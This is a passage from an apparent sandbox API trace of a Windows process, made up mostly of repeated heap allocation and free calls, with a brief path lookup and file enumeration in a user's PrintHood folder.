dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0112.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0112.458] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.458] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.458] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.458] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.458] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.458] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.458] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.458] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.458] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.458] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.458] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.458] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.458] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.458] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.458] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.458] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.458] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.458] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.458] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.458] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.458] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.458] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.458] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.458] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.458] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.458] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.458] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.458] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.458] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.458] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.458] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.459] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.459] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.459] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.459] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.459] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.459] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.459] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.459] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.459] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.459] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.459] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.459] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.459] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.459] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.459] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.459] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.459] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.459] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.459] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.459] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.459] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.459] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.459] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.459] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.459] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\") returned="PrintHood\\" [0112.459] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.459] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0112.459] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.459] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.459] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0112.459] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.459] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.460] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0112.460] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.460] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.460] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.460] PathFindFileNameW (pszPath="") returned="" [0112.460] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.460] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59189d60, ftCreationTime.dwHighDateTime=0x1d4cb4e, ftLastAccessTime.dwLowDateTime=0xc10442c0, ftLastAccessTime.dwHighDateTime=0x1d4cf8c, ftLastWriteTime.dwLowDateTime=0xc10442c0, ftLastWriteTime.dwHighDateTime=0x1d4cf8c, nFileSizeHigh=0x0, nFileSizeLow=0xd9d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_g2PjaKI054.gif", cAlternateFileName="_G2PJA~1.GIF")) returned 0xffffffff [0112.460] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.460] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0112.460] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.460] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.460] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d708 [0112.460] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.460] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.460] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.460] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.460] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.460] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.460] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.460] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.460] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.460] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.460] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.460] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.460] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.460] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.460] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.460] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.461] 